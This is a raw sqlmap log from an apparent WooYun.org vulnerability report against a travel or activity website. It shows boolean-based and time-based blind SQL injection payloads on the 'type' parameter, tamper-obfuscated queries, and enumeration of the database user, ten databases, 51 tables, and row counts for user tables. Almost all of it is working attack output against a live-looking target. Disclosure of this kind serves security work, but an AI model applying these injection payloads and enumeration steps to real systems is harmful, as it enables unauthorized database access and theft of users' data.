WooYun.org

[22:23:37] [DEBUG] cleaning up configuration parameters
[22:23:37] [INFO] loading tamper script 'between'
[22:23:37] [INFO] loading tamper script 'randomcase'
[22:23:37] [INFO] loading tamper script 'space2comment'
[22:23:37] [DEBUG] setting the HTTP timeout
[22:23:37] [DEBUG] setting the HTTP method to GET
[22:23:37] [DEBUG] creating HTTP requests opener object
[22:23:37] [INFO] resuming back-end DBMS 'mysql'
[22:23:37] [INFO] testing connection to the target URL
[22:23:37] [INFO] heuristics detected web page charset 'UTF-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=L1509/shiyiCityDataInfo&v=0.708363635931164&callback=jQuery172047
91056409012526_1447160601872&city=bj&type=bj_zby') AND 3183=3183 AND ('oyRu'='oy
Ru&_=1447160650217
    Vector: AND [INFERENCE]
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: s=L1509/shiyiCityDataInfo&v=0.708363635931164&callback=jQuery172047
91056409012526_1447160601872&city=bj&type=bj_zby') AND SLEEP(5) AND ('iPPV'='iPP
V&_=1447160650217
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
[22:23:37] [WARNING] changes made by tampering scripts are not included in shown
 payload content(s)
[22:23:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[22:23:37] [INFO] fetching current user
[22:23:37] [INFO] retrieving the length of query output
[22:23:37] [INFO] resumed: 25
[22:23:37] [DEBUG] performed 0 queries in 0.00 seconds
[22:23:37] [INFO] resumed: lvtu-activity@192.168.%.%
[22:23:37] [DEBUG] performed 0 queries in 0.00 seconds
current user:    'lvtu-activity@192.168.%.%'
[22:23:37] [INFO] fetching current database
[22:23:37] [INFO] retrieving the length of query output
[22:23:37] [INFO] resumed: 8
[22:23:37] [DEBUG] performed 0 queries in 0.00 seconds
[22:23:37] [INFO] resumed: activity
[22:23:37] [DEBUG] performed 0 queries in 0.00 seconds
current database:    'activity'
[22:23:37] [INFO] testing if current user is DBA
[22:23:37] [INFO] fetching current user
[22:23:37] [PAYLOAD] bj_zby')/**/And/**/(sElEcT/**/(cAse/**/wHeN/**/((sElEcT/**/
super_priv/**/fRoM/**/mysql.uSEr/**/wHeRe/**/uSEr=0x6c7674752d6163746976697479/*
*/liMIT/**/0,1)=0x59)/**/tHEN/**/1/**/elsE/**/0/**/ENd))=1/**/And/**/('gclI'='gc
lI
[22:23:37] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False
available databases [10]:
[*] activity
[*] back
[*] client_back
[*] client_crm
[*] information_schema
[*] mysql
[*] performance_schema
[*] quartz
[*] test
[*] train
Database: activity
[51 tables]
+--------------------------------+
| client_crm.r_reviews_choujiang |
| act_answer                     |
| act_bgjl                       |
| act_choujiang                  |
| act_choujiang_config           |
| act_coupcode_config            |
| act_mobile_log                 |
| act_products                   |
| act_security_code              |
| act_weixin_like                |
| act_weixin_red_envelope        |
| act_weixin_show_user           |
| act_weixin_theme_hotspring     |
| act_weixin_yuepao              |
| act_wq_keep_health             |
| act_xiaoaojianghu_apprentice   |
| act_xiaoaojianghu_master       |
| act_xiaoaojianghu_registration |
| act_xiaoaojianghu_scripts      |
| act_yongjiebao                 |
| bomb_act_lvyue                 |
| choujiang519                   |
| choujiang519_log               |
| choujiang_lingshan             |
| choujiang_log                  |
| choujiang_policy               |
| kangshifu                      |
| limei                          |
| m_stock_info                   |
| m_user_moon                    |
| m_zhongqiu                     |
| nonghang                       |
| quiz_360                       |
| quiz_option                    |
| quiz_question                  |
| quiz_score                     |
| quiz_user                      |
| quiz_womai                     |
| share_log                      |
| w_activity                     |
| w_activity_gift                |
| w_activity_user                |
| w_gift                         |
| w_log                          |
| weiquan                        |
| weixin                         |
| world_cup                      |
| yujia_teacher                  |
| yujia_users                    |
| zhuanpan                       |
| zpk_reserve_order              |
+--------------------------------+
Database: activity
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| w_activity_user          | 26419   |
| weixin                   | 8395    |
| yujia_users              | 6726    |
| act_weixin_show_user     | 13      |
| quiz_user                | 12      |
| act_xiaoaojianghu_master | 3       |
+--------------------------+---------+